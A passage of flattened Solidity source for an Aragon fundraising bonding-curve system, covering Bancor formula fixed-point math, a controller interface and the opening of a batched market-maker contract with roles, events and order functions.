_connectorBalance > 0 && _connectorWeight > 0 && _connectorWeight <= MAX_WEIGHT); // special case for 0 deposit amount if (_depositAmount == 0) return 0; // special case if the weight = 100% if (_connectorWeight == MAX_WEIGHT) return _supply.mul(_depositAmount) / _connectorBalance; uint256 result; uint8 precision; uint256 baseN = _depositAmount.add(_connectorBalance); (result, precision) = power(baseN, _connectorBalance, _connectorWeight, MAX_WEIGHT); uint256 temp = _supply.mul(result) >> precision; return temp - _supply; } /** @dev given a token supply, connector balance, weight and a sell amount (in the main token), calculates the return for a given conversion (in the connector token) Formula: Return = _connectorBalance * (1 - (1 - _sellAmount / _supply) ^ (1 / (_connectorWeight / 1000000))) @param _supply token total supply @param _connectorBalance total connector @param _connectorWeight constant connector Weight, represented in ppm, 1-1000000 @param _sellAmount sell amount, in the token itself @return sale return amount */ function calculateSaleReturn(uint256 _supply, uint256 _connectorBalance, uint32 _connectorWeight, uint256 _sellAmount) public view returns (uint256) { // validate input require(_supply > 0 && _connectorBalance > 0 && _connectorWeight > 0 && _connectorWeight <= MAX_WEIGHT && _sellAmount <= _supply); // special case for 0 sell amount if (_sellAmount == 0) return 0; // special case for selling the entire supply if (_sellAmount == _supply) return _connectorBalance; // special case if the weight = 100% if (_connectorWeight == MAX_WEIGHT) return _connectorBalance.mul(_sellAmount) / _supply; uint256 result; uint8 precision; uint256 baseD = _supply - _sellAmount; (result, precision) = power(_supply, baseD, MAX_WEIGHT, _connectorWeight); uint256 temp1 = _connectorBalance.mul(result); uint256 temp2 = _connectorBalance << precision; return (temp1 - temp2) / result; } /** @dev given two connector balances/weights and a sell amount (in the first connector token), calculates the return for a conversion from the first connector token to the second connector token (in the second connector token) Formula: Return = _toConnectorBalance * (1 - (_fromConnectorBalance / (_fromConnectorBalance + _amount)) ^ (_fromConnectorWeight / _toConnectorWeight)) @param _fromConnectorBalance input connector balance @param _fromConnectorWeight input connector weight, represented in ppm, 1-1000000 @param _toConnectorBalance output connector balance @param _toConnectorWeight output connector weight, represented in ppm, 1-1000000 @param _amount input connector amount @return second connector amount */ function calculateCrossConnectorReturn(uint256 _fromConnectorBalance, uint32 _fromConnectorWeight, uint256 _toConnectorBalance, uint32 _toConnectorWeight, uint256 _amount) public view returns (uint256) { // validate input require(_fromConnectorBalance > 0 && _fromConnectorWeight > 0 && _fromConnectorWeight <= MAX_WEIGHT && _toConnectorBalance > 0 && _toConnectorWeight > 0 && _toConnectorWeight <= MAX_WEIGHT); // special case for equal weights if (_fromConnectorWeight == _toConnectorWeight) return _toConnectorBalance.mul(_amount) / _fromConnectorBalance.add(_amount); uint256 result; uint8 precision; uint256 baseN = _fromConnectorBalance.add(_amount); (result, precision) = power(baseN, _fromConnectorBalance, _fromConnectorWeight, _toConnectorWeight); uint256 temp1 = _toConnectorBalance.mul(result); uint256 temp2 = _toConnectorBalance << precision; return (temp1 - temp2) / result; } /** General Description: Determine a value of precision. Calculate an integer approximation of (_baseN / _baseD) ^ (_expN / _expD) * 2 ^ precision. Return the result along with the precision used. Detailed Description: Instead of calculating "base ^ exp", we calculate "e ^ (log(base) * exp)". The value of "log(base)" is represented with an integer slightly smaller than "log(base) * 2 ^ precision". The larger "precision" is, the more accurately this value represents the real value. However, the larger "precision" is, the more bits are required in order to store this value. And the exponentiation function, which takes "x" and calculates "e ^ x", is limited to a maximum exponent (maximum value of "x"). This maximum exponent depends on the "precision" used, and it is given by "maxExpArray[precision] >> (MAX_PRECISION - precision)". Hence we need to determine the highest precision which can be used for the given input, before calling the exponentiation function. This allows us to compute "base ^ exp" with maximum accuracy and without exceeding 256 bits in any of the intermediate computations. This functions assumes that "_expN < 2 ^ 256 / log(MAX_NUM - 1)", otherwise the multiplication should be replaced with a "safeMul". */ function power(uint256 _baseN, uint256 _baseD, uint32 _expN, uint32 _expD) internal view returns (uint256, uint8) { require(_baseN < MAX_NUM); uint256 baseLog; uint256 base = _baseN * FIXED_1 / _baseD; if (base < OPT_LOG_MAX_VAL) { baseLog = optimalLog(base); } else { baseLog = generalLog(base); } uint256 baseLogTimesExp = baseLog * _expN / _expD; if (baseLogTimesExp < OPT_EXP_MAX_VAL) { return (optimalExp(baseLogTimesExp), MAX_PRECISION); } else { uint8 precision = findPositionInMaxExpArray(baseLogTimesExp); return (generalExp(baseLogTimesExp >> (MAX_PRECISION - precision), precision), precision); } } /** Compute log(x / FIXED_1) * FIXED_1. This functions assumes that "x >= FIXED_1", because the output would be negative otherwise. */ function generalLog(uint256 x) internal pure returns (uint256) { uint256 res = 0; // If x >= 2, then we compute the integer part of log2(x), which is larger than 0. if (x >= FIXED_2) { uint8 count = floorLog2(x / FIXED_1); x >>= count; // now x < 2 res = count * FIXED_1; } // If x > 1, then we compute the fraction part of log2(x), which is larger than 0. if (x > FIXED_1) { for (uint8 i = MAX_PRECISION; i > 0; --i) { x = (x * x) / FIXED_1; // now 1 < x < 4 if (x >= FIXED_2) { x >>= 1; // now 1 < x < 2 res += ONE << (i - 1); } } } return res * LN2_NUMERATOR / LN2_DENOMINATOR; } /** Compute the largest integer smaller than or equal to the binary logarithm of the input. */ function floorLog2(uint256 _n) internal pure returns (uint8) { uint8 res = 0; if (_n < 256) { // At most 8 iterations while (_n > 1) { _n >>= 1; res += 1; } } else { // Exactly 8 iterations for (uint8 s = 128; s > 0; s >>= 1) { if (_n >= (ONE << s)) { _n >>= s; res |= s; } } } return res; } /** The global "maxExpArray" is sorted in descending order, and therefore the following statements are equivalent: - This function finds the position of [the smallest value in "maxExpArray" larger than or equal to "x"] - This function finds the highest position of [a value in "maxExpArray" larger than or equal to "x"] */ function findPositionInMaxExpArray(uint256 _x) internal view returns (uint8) { uint8 lo = MIN_PRECISION; uint8 hi = MAX_PRECISION; while (lo + 1 < hi) { uint8 mid = (lo + hi) / 2; if (maxExpArray[mid] >= _x) lo = mid; else hi = mid; } if (maxExpArray[hi] >= _x) return hi; if (maxExpArray[lo] >= _x) return lo; require(false); return 0; } /** This function can be auto-generated by the script 'PrintFunctionGeneralExp.py'. It approximates "e ^ x" via maclaurin summation: "(x^0)/0! + (x^1)/1! + ... + (x^n)/n!". It returns "e ^ (x / 2 ^ precision) * 2 ^ precision", that is, the result is upshifted for accuracy. The global "maxExpArray" maps each "precision" to "((maximumExponent + 1) << (MAX_PRECISION - precision)) - 1". The maximum permitted value for "x" is therefore given by "maxExpArray[precision] >> (MAX_PRECISION - precision)". */ function generalExp(uint256 _x, uint8 _precision) internal pure returns (uint256) { uint256 xi = _x; uint256 res = 0; xi = (xi * _x) >> _precision; res += xi * 0x3442c4e6074a82f1797f72ac0000000; // add x^02 * (33! / 02!) xi = (xi * _x) >> _precision; res += xi * 0x116b96f757c380fb287fd0e40000000; // add x^03 * (33! / 03!) xi = (xi * _x) >> _precision; res += xi * 0x045ae5bdd5f0e03eca1ff4390000000; // add x^04 * (33! / 04!) xi = (xi * _x) >> _precision; res += xi * 0x00defabf91302cd95b9ffda50000000; // add x^05 * (33! / 05!) xi = (xi * _x) >> _precision; res += xi * 0x002529ca9832b22439efff9b8000000; // add x^06 * (33! / 06!) xi = (xi * _x) >> _precision; res += xi * 0x00054f1cf12bd04e516b6da88000000; // add x^07 * (33! / 07!) xi = (xi * _x) >> _precision; res += xi * 0x0000a9e39e257a09ca2d6db51000000; // add x^08 * (33! / 08!) xi = (xi * _x) >> _precision; res += xi * 0x000012e066e7b839fa050c309000000; // add x^09 * (33! / 09!) xi = (xi * _x) >> _precision; res += xi * 0x000001e33d7d926c329a1ad1a800000; // add x^10 * (33! / 10!) xi = (xi * _x) >> _precision; res += xi * 0x0000002bee513bdb4a6b19b5f800000; // add x^11 * (33! / 11!) xi = (xi * _x) >> _precision; res += xi * 0x00000003a9316fa79b88eccf2a00000; // add x^12 * (33! / 12!) xi = (xi * _x) >> _precision; res += xi * 0x0000000048177ebe1fa812375200000; // add x^13 * (33! / 13!) xi = (xi * _x) >> _precision; res += xi * 0x0000000005263fe90242dcbacf00000; // add x^14 * (33! / 14!) xi = (xi * _x) >> _precision; res += xi * 0x000000000057e22099c030d94100000; // add x^15 * (33! / 15!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000057e22099c030d9410000; // add x^16 * (33! / 16!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000052b6b54569976310000; // add x^17 * (33! / 17!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000004985f67696bf748000; // add x^18 * (33! / 18!) xi = (xi * _x) >> _precision; res += xi * 0x000000000000003dea12ea99e498000; // add x^19 * (33! / 19!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000000031880f2214b6e000; // add x^20 * (33! / 20!) xi = (xi * _x) >> _precision; res += xi * 0x000000000000000025bcff56eb36000; // add x^21 * (33! / 21!) xi = (xi * _x) >> _precision; res += xi * 0x000000000000000001b722e10ab1000; // add x^22 * (33! / 22!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000001317c70077000; // add x^23 * (33! / 23!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000cba84aafa00; // add x^24 * (33! / 24!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000082573a0a00; // add x^25 * (33! / 25!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000005035ad900; // add x^26 * (33! / 26!) xi = (xi * _x) >> _precision; res += xi * 0x000000000000000000000002f881b00; // add x^27 * (33! / 27!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000001b29340; // add x^28 * (33! / 28!) xi = (xi * _x) >> _precision; res += xi * 0x00000000000000000000000000efc40; // add x^29 * (33! / 29!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000007fe0; // add x^30 * (33! / 30!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000000420; // add x^31 * (33! / 31!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000000021; // add x^32 * (33! / 32!) xi = (xi * _x) >> _precision; res += xi * 0x0000000000000000000000000000001; // add x^33 * (33! / 33!) return res / 0x688589cc0e9505e2f2fee5580000000 + _x + (ONE << _precision); // divide by 33! and then add x^1 / 1! + x^0 / 0! } /** Return log(x / FIXED_1) * FIXED_1 Input range: FIXED_1 <= x <= LOG_EXP_MAX_VAL - 1 Auto-generated via 'PrintFunctionOptimalLog.py' Detailed description: - Rewrite the input as a product of natural exponents and a single residual r, such that 1 < r < 2 - The natural logarithm of each (pre-calculated) exponent is the degree of the exponent - The natural logarithm of r is calculated via Taylor series for log(1 + x), where x = r - 1 - The natural logarithm of the input is calculated by summing up the intermediate results above - For example: log(250) = log(e^4 * e^1 * e^0.5 * 1.021692859) = 4 + 1 + 0.5 + log(1 + 0.021692859) */ function optimalLog(uint256 x) internal pure returns (uint256) { uint256 res = 0; uint256 y; uint256 z; uint256 w; if (x >= 0xd3094c70f034de4b96ff7d5b6f99fcd8) {res += 0x40000000000000000000000000000000; x = x * FIXED_1 / 0xd3094c70f034de4b96ff7d5b6f99fcd8;} // add 1 / 2^1 if (x >= 0xa45af1e1f40c333b3de1db4dd55f29a7) {res += 0x20000000000000000000000000000000; x = x * FIXED_1 / 0xa45af1e1f40c333b3de1db4dd55f29a7;} // add 1 / 2^2 if (x >= 0x910b022db7ae67ce76b441c27035c6a1) {res += 0x10000000000000000000000000000000; x = x * FIXED_1 / 0x910b022db7ae67ce76b441c27035c6a1;} // add 1 / 2^3 if (x >= 0x88415abbe9a76bead8d00cf112e4d4a8) {res += 0x08000000000000000000000000000000; x = x * FIXED_1 / 0x88415abbe9a76bead8d00cf112e4d4a8;} // add 1 / 2^4 if (x >= 0x84102b00893f64c705e841d5d4064bd3) {res += 0x04000000000000000000000000000000; x = x * FIXED_1 / 0x84102b00893f64c705e841d5d4064bd3;} // add 1 / 2^5 if (x >= 0x8204055aaef1c8bd5c3259f4822735a2) {res += 0x02000000000000000000000000000000; x = x * FIXED_1 / 0x8204055aaef1c8bd5c3259f4822735a2;} // add 1 / 2^6 if (x >= 0x810100ab00222d861931c15e39b44e99) {res += 0x01000000000000000000000000000000; x = x * FIXED_1 / 0x810100ab00222d861931c15e39b44e99;} // add 1 / 2^7 if (x >= 0x808040155aabbbe9451521693554f733) {res += 0x00800000000000000000000000000000; x = x * FIXED_1 / 0x808040155aabbbe9451521693554f733;} // add 1 / 2^8 z = y = x - FIXED_1; w = y * y / FIXED_1; res += z * (0x100000000000000000000000000000000 - y) / 0x100000000000000000000000000000000; z = z * w / FIXED_1; // add y^01 / 01 - y^02 / 02 res += z * (0x0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa - y) / 0x200000000000000000000000000000000; z = z * w / FIXED_1; // add y^03 / 03 - y^04 / 04 res += z * (0x099999999999999999999999999999999 - y) / 0x300000000000000000000000000000000; z = z * w / FIXED_1; // add y^05 / 05 - y^06 / 06 res += z * (0x092492492492492492492492492492492 - y) / 0x400000000000000000000000000000000; z = z * w / FIXED_1; // add y^07 / 07 - y^08 / 08 res += z * (0x08e38e38e38e38e38e38e38e38e38e38e - y) / 0x500000000000000000000000000000000; z = z * w / FIXED_1; // add y^09 / 09 - y^10 / 10 res += z * (0x08ba2e8ba2e8ba2e8ba2e8ba2e8ba2e8b - y) / 0x600000000000000000000000000000000; z = z * w / FIXED_1; // add y^11 / 11 - y^12 / 12 res += z * (0x089d89d89d89d89d89d89d89d89d89d89 - y) / 0x700000000000000000000000000000000; z = z * w / FIXED_1; // add y^13 / 13 - y^14 / 14 res += z * (0x088888888888888888888888888888888 - y) / 0x800000000000000000000000000000000; // add y^15 / 15 - y^16 / 16 return res; } /** Return e ^ (x / FIXED_1) * FIXED_1 Input range: 0 <= x <= OPT_EXP_MAX_VAL - 1 Auto-generated via 'PrintFunctionOptimalExp.py' Detailed description: - Rewrite the input as a sum of binary exponents and a single residual r, as small as possible - The exponentiation of each binary exponent is given (pre-calculated) - The exponentiation of r is calculated via Taylor series for e^x, where x = r - The exponentiation of the input is calculated by multiplying the intermediate results above - For example: e^5.521692859 = e^(4 + 1 + 0.5 + 0.021692859) = e^4 * e^1 * e^0.5 * e^0.021692859 */ function optimalExp(uint256 x) internal pure returns (uint256) { uint256 res = 0; uint256 y; uint256 z; z = y = x % 0x10000000000000000000000000000000; // get the input modulo 2^(-3) z = z * y / FIXED_1; res += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!) z = z * y / FIXED_1; res += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!) z = z * y / FIXED_1; res += z * 0x0168244fdac78000; // add y^04 * (20! / 04!) z = z * y / FIXED_1; res += z * 0x004807432bc18000; // add y^05 * (20! / 05!) z = z * y / FIXED_1; res += z * 0x000c0135dca04000; // add y^06 * (20! / 06!) z = z * y / FIXED_1; res += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!) z = z * y / FIXED_1; res += z * 0x000036e0f639b800; // add y^08 * (20! / 08!) z = z * y / FIXED_1; res += z * 0x00000618fee9f800; // add y^09 * (20! / 09!) z = z * y / FIXED_1; res += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!) z = z * y / FIXED_1; res += z * 0x0000000e30dce400; // add y^11 * (20! / 11!) z = z * y / FIXED_1; res += z * 0x000000012ebd1300; // add y^12 * (20! / 12!) z = z * y / FIXED_1; res += z * 0x0000000017499f00; // add y^13 * (20! / 13!) z = z * y / FIXED_1; res += z * 0x0000000001a9d480; // add y^14 * (20! / 14!) z = z * y / FIXED_1; res += z * 0x00000000001c6380; // add y^15 * (20! / 15!) z = z * y / FIXED_1; res += z * 0x000000000001c638; // add y^16 * (20! / 16!) z = z * y / FIXED_1; res += z * 0x0000000000001ab8; // add y^17 * (20! / 17!) z = z * y / FIXED_1; res += z * 0x000000000000017c; // add y^18 * (20! / 18!) z = z * y / FIXED_1; res += z * 0x0000000000000014; // add y^19 * (20! / 19!) z = z * y / FIXED_1; res += z * 0x0000000000000001; // add y^20 * (20! / 20!) res = res / 0x21c3677c82b40000 + y + FIXED_1; // divide by 20! and then add y^1 / 1! + y^0 / 0! if ((x & 0x010000000000000000000000000000000) != 0) res = res * 0x1c3d6a24ed82218787d624d3e5eba95f9 / 0x18ebef9eac820ae8682b9793ac6d1e776; // multiply by e^2^(-3) if ((x & 0x020000000000000000000000000000000) != 0) res = res * 0x18ebef9eac820ae8682b9793ac6d1e778 / 0x1368b2fc6f9609fe7aceb46aa619baed4; // multiply by e^2^(-2) if ((x & 0x040000000000000000000000000000000) != 0) res = res * 0x1368b2fc6f9609fe7aceb46aa619baed5 / 0x0bc5ab1b16779be3575bd8f0520a9f21f; // multiply by e^2^(-1) if ((x & 0x080000000000000000000000000000000) != 0) res = res * 0x0bc5ab1b16779be3575bd8f0520a9f21e / 0x0454aaa8efe072e7f6ddbab84b40a55c9; // multiply by e^2^(+0) if ((x & 0x100000000000000000000000000000000) != 0) res = res * 0x0454aaa8efe072e7f6ddbab84b40a55c5 / 0x00960aadc109e7a3bf4578099615711ea; // multiply by e^2^(+1) if ((x & 0x200000000000000000000000000000000) != 0) res = res * 0x00960aadc109e7a3bf4578099615711d7 / 0x0002bf84208204f5977f9a8cf01fdce3d; // multiply by e^2^(+2) if ((x & 0x400000000000000000000000000000000) != 0) res = res * 0x0002bf84208204f5977f9a8cf01fdc307 / 0x0000003c6ab775dd0b95b4cbee7e65d11; // multiply by e^2^(+3) return res; } } // File: @ablack/fundraising-shared-interfaces/contracts/IAragonFundraisingController.sol pragma solidity 0.4.24; contract IAragonFundraisingController { function openTrading() external; function updateTappedAmount(address _token) external; function collateralsToBeClaimed(address _collateral) public view returns (uint256); function balanceOf(address _who, address _token) public view returns (uint256); } // File: @ablack/fundraising-batched-bancor-market-maker/contracts/BatchedBancorMarketMaker.sol pragma solidity 0.4.24; contract BatchedBancorMarketMaker is EtherTokenConstant, IsContract, AragonApp { using SafeERC20 for ERC20; using SafeMath for uint256; /** Hardcoded constants to save gas bytes32 public constant OPEN_ROLE = keccak256("OPEN_ROLE"); bytes32 public constant UPDATE_FORMULA_ROLE = keccak256("UPDATE_FORMULA_ROLE"); bytes32 public constant UPDATE_BENEFICIARY_ROLE = keccak256("UPDATE_BENEFICIARY_ROLE"); bytes32 public constant UPDATE_FEES_ROLE = keccak256("UPDATE_FEES_ROLE"); bytes32 public constant ADD_COLLATERAL_TOKEN_ROLE = keccak256("ADD_COLLATERAL_TOKEN_ROLE"); bytes32 public constant REMOVE_COLLATERAL_TOKEN_ROLE = keccak256("REMOVE_COLLATERAL_TOKEN_ROLE"); bytes32 public constant UPDATE_COLLATERAL_TOKEN_ROLE = keccak256("UPDATE_COLLATERAL_TOKEN_ROLE"); bytes32 public constant OPEN_BUY_ORDER_ROLE = keccak256("OPEN_BUY_ORDER_ROLE"); bytes32 public constant OPEN_SELL_ORDER_ROLE = keccak256("OPEN_SELL_ORDER_ROLE"); */ bytes32 public constant OPEN_ROLE = 0xefa06053e2ca99a43c97c4a4f3d8a394ee3323a8ff237e625fba09fe30ceb0a4; bytes32 public constant UPDATE_FORMULA_ROLE = 0xbfb76d8d43f55efe58544ea32af187792a7bdb983850d8fed33478266eec3cbb; bytes32 public constant UPDATE_BENEFICIARY_ROLE = 0xf7ea2b80c7b6a2cab2c11d2290cb005c3748397358a25e17113658c83b732593; bytes32 public constant UPDATE_FEES_ROLE = 0x5f9be2932ed3a723f295a763be1804c7ebfd1a41c1348fb8bdf5be1c5cdca822; bytes32 public constant ADD_COLLATERAL_TOKEN_ROLE = 0x217b79cb2bc7760defc88529853ef81ab33ae5bb315408ce9f5af09c8776662d; bytes32 public constant REMOVE_COLLATERAL_TOKEN_ROLE = 0x2044e56de223845e4be7d0a6f4e9a29b635547f16413a6d1327c58d9db438ee2; bytes32 public constant UPDATE_COLLATERAL_TOKEN_ROLE = 0xe0565c2c43e0d841e206bb36a37f12f22584b4652ccee6f9e0c071b697a2e13d; bytes32 public constant OPEN_BUY_ORDER_ROLE = 0xa589c8f284b76fc8d510d9d553485c47dbef1b0745ae00e0f3fd4e28fcd77ea7; bytes32 public constant OPEN_SELL_ORDER_ROLE = 0xd68ba2b769fa37a2a7bd4bed9241b448bc99eca41f519ef037406386a8f291c0; uint256 public constant PCT_BASE = 10 ** 18; // 0% = 0; 1% = 10 ** 16; 100% = 10 ** 18 uint32 public constant PPM = 1000000; string private constant ERROR_CONTRACT_IS_EOA = "MM_CONTRACT_IS_EOA"; string private constant ERROR_INVALID_BENEFICIARY = "MM_INVALID_BENEFICIARY"; string private constant ERROR_INVALID_BATCH_BLOCKS = "MM_INVALID_BATCH_BLOCKS"; string private constant ERROR_INVALID_PERCENTAGE = "MM_INVALID_PERCENTAGE"; string private constant ERROR_INVALID_RESERVE_RATIO = "MM_INVALID_RESERVE_RATIO"; string private constant ERROR_INVALID_TM_SETTING = "MM_INVALID_TM_SETTING"; string private constant ERROR_INVALID_COLLATERAL = "MM_INVALID_COLLATERAL"; string private constant ERROR_INVALID_COLLATERAL_VALUE = "MM_INVALID_COLLATERAL_VALUE"; string private constant ERROR_INVALID_BOND_AMOUNT = "MM_INVALID_BOND_AMOUNT"; string private constant ERROR_ALREADY_OPEN = "MM_ALREADY_OPEN"; string private constant ERROR_NOT_OPEN = "MM_NOT_OPEN"; string private constant ERROR_COLLATERAL_ALREADY_WHITELISTED = "MM_COLLATERAL_ALREADY_WHITELISTED"; string private constant ERROR_COLLATERAL_NOT_WHITELISTED = "MM_COLLATERAL_NOT_WHITELISTED"; string private constant ERROR_NOTHING_TO_CLAIM = "MM_NOTHING_TO_CLAIM"; string private constant ERROR_BATCH_NOT_OVER = "MM_BATCH_NOT_OVER"; string private constant ERROR_BATCH_CANCELLED = "MM_BATCH_CANCELLED"; string private constant ERROR_BATCH_NOT_CANCELLED = "MM_BATCH_NOT_CANCELLED"; string private constant ERROR_SLIPPAGE_EXCEEDS_LIMIT = "MM_SLIPPAGE_EXCEEDS_LIMIT"; string private constant ERROR_INSUFFICIENT_POOL_BALANCE = "MM_INSUFFICIENT_POOL_BALANCE"; string private constant ERROR_TRANSFER_FROM_FAILED = "MM_TRANSFER_FROM_FAILED"; struct Collateral { bool whitelisted; uint256 virtualSupply; uint256 virtualBalance; uint32 reserveRatio; uint256 slippage; } struct MetaBatch { bool initialized; uint256 realSupply; uint256 buyFeePct; uint256 sellFeePct; IBancorFormula formula; mapping(address => Batch) batches; } struct Batch { bool initialized; bool cancelled; uint256 supply; uint256 balance; uint32 reserveRatio; uint256 slippage; uint256 totalBuySpend; uint256 totalBuyReturn; uint256 totalSellSpend; uint256 totalSellReturn; mapping(address => uint256) buyers; mapping(address => uint256) sellers; } IAragonFundraisingController public controller; TokenManager public tokenManager; ERC20 public token; Vault public reserve; address public beneficiary; IBancorFormula public formula; uint256 public batchBlocks; uint256 public buyFeePct; uint256 public sellFeePct; bool public isOpen; uint256 public tokensToBeMinted; mapping(address => uint256) public collateralsToBeClaimed; mapping(address => Collateral) public collaterals; mapping(uint256 => MetaBatch) public metaBatches; event UpdateBeneficiary (address indexed beneficiary); event UpdateFormula (address indexed formula); event UpdateFees (uint256 buyFeePct, uint256 sellFeePct); event NewMetaBatch (uint256 indexed id, uint256 supply, uint256 buyFeePct, uint256 sellFeePct, address formula); event NewBatch ( uint256 indexed id, address indexed collateral, uint256 supply, uint256 balance, uint32 reserveRatio, uint256 slippage) ; event CancelBatch (uint256 indexed id, address indexed collateral); event AddCollateralToken ( address indexed collateral, uint256 virtualSupply, uint256 virtualBalance, uint32 reserveRatio, uint256 slippage ); event RemoveCollateralToken (address indexed collateral); event UpdateCollateralToken ( address indexed collateral, uint256 virtualSupply, uint256 virtualBalance, uint32 reserveRatio, uint256 slippage ); event Open (); event OpenBuyOrder (address indexed buyer, uint256 indexed batchId, address indexed collateral, uint256 fee, uint256 value); event OpenSellOrder (address indexed seller, uint256 indexed batchId, address indexed collateral, uint256 amount); event ClaimBuyOrder (address indexed buyer, uint256 indexed batchId, address indexed collateral, uint256 amount); event ClaimSellOrder (address indexed seller, uint256 indexed batchId, address indexed collateral, uint256 fee, uint256 value); event ClaimCancelledBuyOrder (address indexed buyer, uint256 indexed batchId, address indexed collateral, uint256 value); event ClaimCancelledSellOrder(address indexed seller, uint256 indexed batchId, address indexed collateral, uint256 amount); event UpdatePricing ( uint256 indexed batchId, address indexed collateral, uint256 totalBuySpend, uint256 totalBuyReturn, uint256 totalSellSpend, uint256 totalSellReturn ); /***** external function *****/ /** * @notice Initialize market maker * @param _controller The address of the controller contract * @param _tokenManager The address of the [bonded token] token manager contract * @param _reserve The address of the reserve [pool] contract * @param _beneficiary The address of the beneficiary [to whom fees are to be sent] * @param _formula The address of the BancorFormula [computation] contract * @param _batchBlocks The number of blocks batches are to last * @param _buyFeePct The fee to be deducted from buy orders [in PCT_BASE] * @param _sellFeePct The fee to be deducted from sell orders [in PCT_BASE] */ function initialize( IAragonFundraisingController _controller, TokenManager _tokenManager, IBancorFormula _formula, Vault _reserve, address _beneficiary, uint256 _batchBlocks, uint256 _buyFeePct, uint256 _sellFeePct ) external onlyInit { initialized(); require(isContract(_controller), ERROR_CONTRACT_IS_EOA); require(isContract(_tokenManager), ERROR_CONTRACT_IS_EOA); require(isContract(_formula), ERROR_CONTRACT_IS_EOA); require(isContract(_reserve), ERROR_CONTRACT_IS_EOA); require(_beneficiaryIsValid(_beneficiary), ERROR_INVALID_BENEFICIARY); require(_batchBlocks > 0, ERROR_INVALID_BATCH_BLOCKS); require(_feeIsValid(_buyFeePct) && _feeIsValid(_sellFeePct), ERROR_INVALID_PERCENTAGE); require(_tokenManagerSettingIsValid(_tokenManager), ERROR_INVALID_TM_SETTING); controller = _controller; tokenManager = _tokenManager; token = ERC20(tokenManager.token()); formula = _formula; reserve = _reserve; beneficiary = _beneficiary; batchBlocks = _batchBlocks; buyFeePct = _buyFeePct; sellFeePct = _sellFeePct; } /* generic settings related function */ /** * @notice Open market making [enabling users to open buy and sell orders] */ function open() external auth(OPEN_ROLE) { require(!isOpen, ERROR_ALREADY_OPEN); _open(); } /** * @notice Update formula to `_formula` * @param _formula The address of the new BancorFormula [computation] contract */ function updateFormula(IBancorFormula _formula) external auth(UPDATE_FORMULA_ROLE) { require(isContract(_formula), ERROR_CONTRACT_IS_EOA); _updateFormula(_formula); } /** * @notice Update beneficiary to `_beneficiary` * @param _beneficiary The address of the new beneficiary [to whom fees are to be sent] */ function updateBeneficiary(address _beneficiary) external auth(UPDATE_BENEFICIARY_ROLE) { require(_beneficiaryIsValid(_beneficiary), ERROR_INVALID_BENEFICIARY); _updateBeneficiary(_beneficiary); } /** * @notice Update fees deducted from buy and sell orders to respectively `@formatPct(_buyFeePct)`% and `@formatPct(_sellFeePct)`% * @param _buyFeePct The new fee to be deducted from buy orders [in PCT_BASE] * @param _sellFeePct The new fee to be deducted from sell orders [in PCT_BASE] */ function updateFees(uint256 _buyFeePct, uint256 _sellFeePct) external auth(UPDATE_FEES_ROLE) { require(_feeIsValid(_buyFeePct) && _feeIsValid(_sellFeePct), ERROR_INVALID_PERCENTAGE); _updateFees(_buyFeePct, _sellFeePct); } /* collateral tokens related functions */ /** * @notice Add `_collateral.symbol(): string` as a whitelisted collateral token * @param _collateral The address of the collateral token to be whitelisted * @param _virtualSupply The virtual supply to be used for that collateral token [in wei] * @param _virtualBalance The virtual balance to be used for that collateral token [in wei] * @param _reserveRatio The reserve ratio to be used for that collateral token [in PPM] * @param _slippage The price slippage below which each batch is to be kept for that collateral token [in PCT_BASE] */ function addCollateralToken(address _collateral, uint256 _virtualSupply, uint256 _virtualBalance, uint32 _reserveRatio, uint256 _slippage) external auth(ADD_COLLATERAL_TOKEN_ROLE) { require(isContract(_collateral) || _collateral == ETH, ERROR_INVALID_COLLATERAL); require(!_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_ALREADY_WHITELISTED); require(_reserveRatioIsValid(_reserveRatio), ERROR_INVALID_RESERVE_RATIO); _addCollateralToken(_collateral, _virtualSupply, _virtualBalance, _reserveRatio, _slippage); } /** * @notice Remove `_collateral.symbol(): string` as a whitelisted collateral token * @param _collateral The address of the collateral token to be un-whitelisted */ function removeCollateralToken(address _collateral) external auth(REMOVE_COLLATERAL_TOKEN_ROLE) { require(_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_NOT_WHITELISTED); _removeCollateralToken(_collateral); } /** * @notice Update `_collateral.symbol(): string` collateralization settings * @param _collateral The address of the collateral token whose collateralization settings are to be updated * @param _virtualSupply The new virtual supply to be used for that collateral token [in wei] * @param _virtualBalance The new virtual balance to be used for that collateral token [in wei] * @param _reserveRatio The new reserve ratio to be used for that collateral token [in PPM] * @param _slippage The new price slippage below which each batch is to be kept for that collateral token [in PCT_BASE] */ function updateCollateralToken(address _collateral, uint256 _virtualSupply, uint256 _virtualBalance, uint32 _reserveRatio, uint256 _slippage) external auth(UPDATE_COLLATERAL_TOKEN_ROLE) { require(_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_NOT_WHITELISTED); require(_reserveRatioIsValid(_reserveRatio), ERROR_INVALID_RESERVE_RATIO); _updateCollateralToken(_collateral, _virtualSupply, _virtualBalance, _reserveRatio, _slippage); } /* market making related functions */ /** * @notice Open a buy order worth `@tokenAmount(_collateral, _value)` * @param _buyer The address of the buyer * @param _collateral The address of the collateral token to be spent * @param _value The amount of collateral token to be spent */ function openBuyOrder(address _buyer, address _collateral, uint256 _value) external payable auth(OPEN_BUY_ORDER_ROLE) { require(isOpen, ERROR_NOT_OPEN); require(_collateralIsWhitelisted(_collateral), ERROR_COLLATERAL_NOT_WHITELISTED); require(!_batchIsCancelled(_currentBatchId(), _collateral), ERROR_BATCH_CANCELLED); require(_collateralValueIsValid(_buyer, _collateral, _value, msg.value), ERROR_INVALID_COLLATERAL_VALUE); _openBuyOrder(_buyer, _collateral, _value); } /** 